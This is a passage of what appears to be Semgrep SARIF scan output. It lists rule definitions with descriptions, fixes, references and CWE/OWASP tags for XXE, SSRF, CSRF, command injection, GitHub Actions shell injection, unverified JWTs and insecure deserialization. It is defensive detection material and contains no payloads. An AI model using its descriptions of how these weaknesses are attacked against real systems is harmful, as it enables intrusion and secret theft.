[https://github.com/jlaffaye/ftp](https://github.com/jlaffaye/ftp)\n","text":"Checks for outgoing connections to ftp servers with the ftp package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request","id":"problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request","name":"problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via http.NewRequest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via http.NewRequest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request)\n - [https://golang.org/pkg/net/http/#NewRequest](https://golang.org/pkg/net/http/#NewRequest)\n","text":"Checks for requests sent via http.NewRequest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request","id":"problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request","name":"problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Markup escaping disabled. This can be used with some template engines to escape disabling of HTML entities, which can lead to XSS attacks."},"help":{"markdown":"Markup escaping disabled. This can be used with some template engines to escape disabling of HTML entities, which can lead to XSS attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Markup escaping disabled. This can be used with some template engines to escape disabling of HTML entities, which can lead to XSS attacks."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape","id":"javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape","name":"javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape","properties":{"precision":"very-high","tags":["CWE-116: Improper Encoding or Escaping of Output","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `domain` not set. It indicates the domain of the cookie; use it to compare against the domain of the server in which the URL is being requested. If they match, then check the path attribute next."},"help":{"markdown":"Default session middleware settings: `domain` not set. It indicates the domain of the cookie; use it to compare against the domain of the server in which the URL is being requested. If they match, then check the path attribute next.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `domain` not set. It indicates the domain of the cookie; use it to compare against the domain of the server in which the URL is being requested. If they match, then check the path attribute next."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.openai.openai-empty-secret.openai-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.openai.openai-empty-secret.openai-empty-secret","id":"go.secrets.openai.openai-empty-secret.openai-empty-secret","name":"go.secrets.openai.openai-empty-secret.openai-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.openai.openai-empty-secret.openai-empty-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/gorilla/csrf](https://github.com/gorilla/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"helpUri":"https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection","id":"go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection","name":"go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe","id":"java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe","name":"java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe","id":"kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe","name":"kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. Don't use `ParseUnverified` unless you know what you're doing This method parses the token but doesn't validate the signature. It's only ever useful in cases where you know the signature is valid (because it has been checked previously in the stack) and you want to extract values from it."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. Don't use `ParseUnverified` unless you know what you're doing This method parses the token but doesn't validate the signature. It's only ever useful in cases where you know the signature is valid (because it has been checked previously in the stack) and you want to extract values from it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. Don't use `ParseUnverified` unless you know what you're doing This method parses the token but doesn't validate the signature. It's only ever useful in cases where you know the signature is valid (because it has been checked previously in the stack) and you want to extract values from it."},"helpUri":"https://semgrep.dev/r/go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified","id":"go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified","name":"go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `puppeteer` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `puppeteer` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-puppeteer-injection.express-puppeteer-injection)\n - [https://pptr.dev/api/puppeteer.page](https://pptr.dev/api/puppeteer.page)\n","text":"If unverified user data can reach the `puppeteer` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-puppeteer-injection.express-puppeteer-injection","id":"javascript.express.security.express-puppeteer-injection.express-puppeteer-injection","name":"javascript.express.security.express-puppeteer-injection.express-puppeteer-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-puppeteer-injection.express-puppeteer-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django","id":"python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django","name":"python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"help":{"markdown":"Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.run-shell-injection.run-shell-injection)\n - [https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections](https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)\n - [https://securitylab.github.com/research/github-actions-untrusted-input/](https://securitylab.github.com/research/github-actions-untrusted-input/)\n","text":"Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.run-shell-injection.run-shell-injection","id":"yaml.github-actions.security.run-shell-injection.run-shell-injection","name":"yaml.github-actions.security.run-shell-injection.run-shell-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.run-shell-injection.run-shell-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.ssrf.reqwest-taint.reqwest-taint)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/rust.actix.ssrf.reqwest-taint.reqwest-taint","id":"rust.actix.ssrf.reqwest-taint.reqwest-taint","name":"rust.actix.ssrf.reqwest-taint.reqwest-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.ssrf.reqwest-taint.reqwest-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-marshal.tainted-marshal)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - 